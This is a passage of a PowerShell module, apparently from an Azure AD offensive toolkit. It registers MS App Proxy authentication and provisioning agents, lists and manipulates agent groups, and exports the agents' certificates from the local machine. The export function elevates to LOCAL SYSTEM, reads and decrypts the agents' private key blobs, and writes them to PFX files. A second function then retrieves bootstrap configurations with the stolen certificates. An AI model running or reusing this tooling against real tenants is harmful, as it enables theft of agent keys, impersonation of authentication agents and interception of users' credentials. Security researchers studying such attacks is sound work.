[System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable) # Get the instance Id (=Agent Id) foreach($extension in $cert.Extensions) { if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1") { $InstanceID = [guid]$extension.RawData } } if([string]::IsNullOrEmpty($FileName)) { $FileName = "$($MachineName)_$($tenantId)_$($InstanceID)_$($cert.Thumbprint).pfx" } # Store the private key so that it can be exported $cspParameters = [System.Security.Cryptography.CspParameters]::new() $cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" $cspParameters.ProviderType = 24 $cspParameters.KeyContainerName ="AADInternals" # Set the private key $privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters) $privateKey.ImportParameters($rsa.ExportParameters($true)) $cert.PrivateKey = $privateKey # Export the certificate to pfx $binCert = $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx) Set-BinaryContent -Path $fileName -Value $binCert # Remove the private key from the store $privateKey.PersistKeyInCsp=$false $privateKey.Clear() if($UpdateTrust) { Write-Host "$AgentType Agent ($InstanceID) certificate renewed for $MachineName" } else { Write-Host "$AgentType Agent ($InstanceID) registered as $MachineName" } Write-Host "Certificate saved to $FileName" # We need to register the agent to a group if($AgentType -eq "Sync" -and [string]::IsNullOrEmpty($AgentGroup) -ne $true) { Add-ProxyAgentToGroup -AccessToken $AccessToken -Agent $InstanceID -Group $AgentGroup } } } } # Gets list of publishing agents # Apr 3rd 2020 function Get-ProxyAgents { <# .SYNOPSIS Shows the list of MS App Proxy agents .DESCRIPTION Shows the list of MS App Proxy authentication and provisioning agents .Example Get-AADIntProxyAgents | ft id machineName externalIp status supportedPublishingTypes -- ----------- ---------- ------ ------------------------ 51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication} 51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication} 49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning} .Example $pt=Get-AADIntAccessTokenForPTA PS C:\>Get-AADIntProxyAgents -AccessToken $pt | pt id machineName externalIp status supportedPublishingTypes -- ----------- ---------- ------ ------------------------ 51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication} 51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication} 49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning} #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken ) Begin { $publishingTypes = @( # Roles that can access the agent #"appProxy" # ApplicationAdmin, GlobalAdmin "authentication" # GlobalAdmin "provisioning" # GlobalAdmin "exchangeOnline" # GlobalAdmin #"intunePfx" # GlobalAdmin #"oflineDomainJoin" # GlobalAdmin "adAdministration" # DirSyncAdmin, GlobalAdmin #"unknownFutureValue" # ) } Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8" # Get the tenant id and instance id from the certificate $TenantId = Get-TenantID -AccessToken $AccessToken $headers = @{ "Authorization" = "Bearer $AccessToken" "x-ms-gateway-serviceRoot" ="" } foreach($type in $publishingTypes) { $agents = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('$type')/agents" -Method Get -Headers $headers -ErrorAction SilentlyContinue # Return if($agents) { $agents.value } } } } # Gets list of agent groups # Apr 6th 2020 function Get-ProxyAgentGroups { <# .SYNOPSIS Lists MS App Proxy agent groups .DESCRIPTION Lists MS App Proxy agent groups .Example Get-AADIntAgentProxyGroups TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4 ConfigurationDisplayName : company.com ConfigurationResourceName : company.com ConfigurationPublishingType : provisioning id : 4b6ffe82-bfe2-4357-814c-09da95399da7 displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e publishingType : provisioning isDefault : False .Example $pt=Get-AADIntAccessTokenForPTA PS C:\>Get-AADIntProxyGroups -AccessToken $pt TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4 ConfigurationDisplayName : company.com ConfigurationResourceName : company.com ConfigurationPublishingType : provisioning id : 4b6ffe82-bfe2-4357-814c-09da95399da7 displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e publishingType : provisioning isDefault : False #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8" # Get the tenant id and instance id from the certificate $TenantId = Get-TenantID -AccessToken $AccessToken $headers = @{ "Authorization" = "Bearer $AccessToken" "x-ms-gateway-serviceRoot" ="" } $response = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agentGroups?`$expand=agents" -Method Get -Headers $headers # return $response.value } } # Gets the list of proxy configurations #function Get-ProxyConfigurations # Creates a new proxy agent group # Apr 6th 2020 function New-ProxyAgentGroup { <# .SYNOPSIS Creates an MS App Proxy agent group .DESCRIPTION Creates an MS App Proxy agent group .Example Get-AADIntAgentProxyGroups TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4 ConfigurationDisplayName : company.com ConfigurationResourceName : company.com ConfigurationPublishingType : provisioning id : 4b6ffe82-bfe2-4357-814c-09da95399da7 displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e publishingType : provisioning isDefault : False .Example $pt=Get-AADIntAccessTokenForPTA PS C:\>Get-AADIntProxyGroups -AccessToken $pt TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4 ConfigurationDisplayName : company.com ConfigurationResourceName : company.com ConfigurationPublishingType : provisioning id : 4b6ffe82-bfe2-4357-814c-09da95399da7 displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e publishingType : provisioning isDefault : False #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$DisplayName, [Parameter(Mandatory=$True)] [String]$ConfigurationDisplayName, [Parameter(Mandatory=$True)] [String]$ConfigurationResourceName ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8" # Get the tenant id and instance id from the certificate $TenantId = Get-TenantID -AccessToken $AccessToken $headers = @{ "Authorization" = "Bearer $AccessToken" "x-ms-gateway-serviceRoot" ="" "Content-Type" = "application/json" } # First, create the agent group with the given name $Body = "{""displayName"":""$DisplayName""}" $response = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agentGroups" -Method POST -Headers $headers -Body $Body $Body = "{""displayName"":""$ConfigurationDisplayName"",""resourceName"":""$ConfigurationResourceName"",""agentGroups"":[{""id"":""$($response.id)""}]}" $response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/publishedResources" -Method POST -Headers $headers -Body $Body # Extract the information and create the return value $attributes=[ordered]@{} $attributes["id"]=$response.id $attributes["displayName"]=$response.displayName $attributes["publishingType"]=$response.publishingType $attributes["isDefault"]=$response.isDefault $attributes["ConfigurationId"]=$response2.id $attributes["ConfigurationDisplayName"]=$response2.displayName $attributes["ConfigurationResourceName"]=$response2.resourceName $attributes["ConfigurationPublishingType"]=$response2.publishingType # return New-Object PSObject -Property $attributes } } # Adds the given agent to given group # Apr 7th 2020 function Add-ProxyAgentToGroup { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [guid]$Agent, [Parameter(Mandatory=$True)] [guid]$Group ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8" # Get the tenant id and instance id from the certificate $TenantId = Get-TenantID -AccessToken $AccessToken $body="{""@odata.id"":""https://$TenantId.admin.msappproxy.net:443/onPremisesPublishingProfiles('provisioning')/agentGroups('$($Group.toString())')""}" $headers = @{ "Authorization" = "Bearer $AccessToken" "x-ms-gateway-serviceRoot" ="" "Content-Type" = "application/json" } Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agents('$($Agent.toString())')/agentGroups/`$ref" -Method Post -Headers $headers -Body $body Write-Host "Agent ($($Agent.toString())) added to group ($($Group.toString()))" } } # Export proxy agent certificates from the local computer # Mar 8th 2022 # Aug 17th 2022: Added support for exporting from NETWORK SERVICE personal store function Export-ProxyAgentCertificates { <# .SYNOPSIS Export certificates of all MS App Proxy agents from the local computer. .DESCRIPTION Export certificates of all MS App Proxy agents from the local computer. The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx .Example Export-AADIntProxyAgentCertificates WARNING: Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore PTA01\Administrator rights. Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx #> [cmdletbinding()] Param() Process { # Get all certificates from LocalMachine Personal store $certificates = @(Get-Item Cert:\LocalMachine\My\*) # Internal function to parse PTA & Provisioning agent configs function Parse-ConfigCert { [cmdletbinding()] Param( [String]$ConfigPath ) Process { # Check if we have a PTA or provisioning agent configuration and get the certificate if stored in NETWORK SERVICE personal store [xml]$trustConfig = Get-Content "$env:ProgramData\Microsoft\$ConfigPath\Config\TrustSettings.xml" -ErrorAction SilentlyContinue if($trustConfig) { $thumbPrint = $trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint # Check where the certificate is stored if($trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore.ToLower().equals("true")) { # Certificate is stored in NETWORK SERVICE personal store so we need to parse it from there Write-Verbose "Parsing certificate: $($thumbPrint)" Parse-CertBlob -Data (Get-BinaryContent "$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\$thumbPrint") } } } } if($PTACert = Parse-ConfigCert -ConfigPath "Azure AD Connect Authentication Agent") { $binCert = $PTACert.DER $certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert) $PTAKeyName = $PTACert.KeyName $certificates += $certificate } if($ProvCert = Parse-ConfigCert -ConfigPath "Azure AD Connect Provisioning Agent") { $binCert = $ProvCert.DER $certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert) $ProvKeyName = $ProvCert.KeyName $certificates += $certificate } $CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights." foreach($certificate in $certificates) { Write-Verbose "Reading certificate: $($certificate.Thumbprint)" foreach($ext in $Certificate.Extensions) { # Check the agent Id OID exist if($ext.Oid.Value -eq "1.3.6.1.4.1.311.82.1") { # Extract agent and tenant IDs $agentId = [guid] $ext.RawData $tenantId = [guid] $certificate.Subject.Split("=")[1] Write-Verbose " Tenant Id: $tenantId, Agent Id: $agentId" # Get the certificate $binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert) # Get the key blob and decrypt the keys if($PTACert) { # If stored in NETWORK SERVICE store, PTA Agent's key name can't be readed from the certificate $keyName = $PTAKeyName } elseif($ProvCert) { # If stored in NETWORK SERVICE store, Provisioning Agent's key name can't be readed from the certificate $keyName = $ProvKeyName } else { # Read the key name from the certificate $keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename } # Discard trailing null, cr, lf $keyName = $keyName.trimEnd(@(0x00,0x0a,0x0d)) $paths = @( "$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName" "$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName" "$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-20\$keyName" ) foreach($path in $paths) { $keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue if($keyBlob) { Write-Verbose "Key loaded from $path" break } } if(!$keyBlob) { if($keyName.EndsWith(".PCPKEY")) { # This machine has a TPM Throw "PCP keys are not supported, unable to export private key!" } else { Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again." } return } $blobType = [System.BitConverter]::ToInt32($keyBlob,0) switch($blobType) { 1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine} 2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt -LocalMachine} default { throw "Unsupported key blob type" } } # Save to pfx file $machineName = Get-ComputerName -FQDN $fileName = "$($machineName)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).pfx" Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters ($privateKey.RSAParameters) -X509Certificate $binCert) # Set the modified date (Get-Item -Path $fileName).LastWriteTime = $certificate.NotBefore Write-Host "Certificate saved to: $fileName" break } } } } } # Export proxy agent bootstraps using the given certificates # Nov 1st 2022 function Export-ProxyAgentBootstraps { <# .SYNOPSIS Export bootstraps of the given certificates. .DESCRIPTION Export boostraps of the given certificates. Uses the FQDN of the current computer as MachineName. The filename of the bootstrap is same than the certificate with .xml extension .Example Export-AADIntProxyAgentBootstraps -Certificates PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx Bootstrap saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.xml #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String[]]$Certificates ) Process { foreach($fileName in $Certificates) { if(Test-Path $fileName) { try { $certificate = Load-Certificate -FileName $fileName -Exportable # Sleep a sec to get the cert properly loaded Start-Sleep -Seconds 1 $bootStrap = Get-BootstrapConfiguration -MachineName (Get-ComputerName -FQDN) -Certificate $certificate if($bootstrap -eq $null) { Throw "Could not get bootstrap" } $bootStrapFileName = "$($fileName.Substring(0,$fileName.LastIndexOf(".")-1)).xml" Set-Content $bootStrapFileName -Value $bootStrap Write-Host "Bootstrap saved to: $bootStrapFileName" } catch { Write-Warning "Could not get bootstrap for $fileName" } } } } }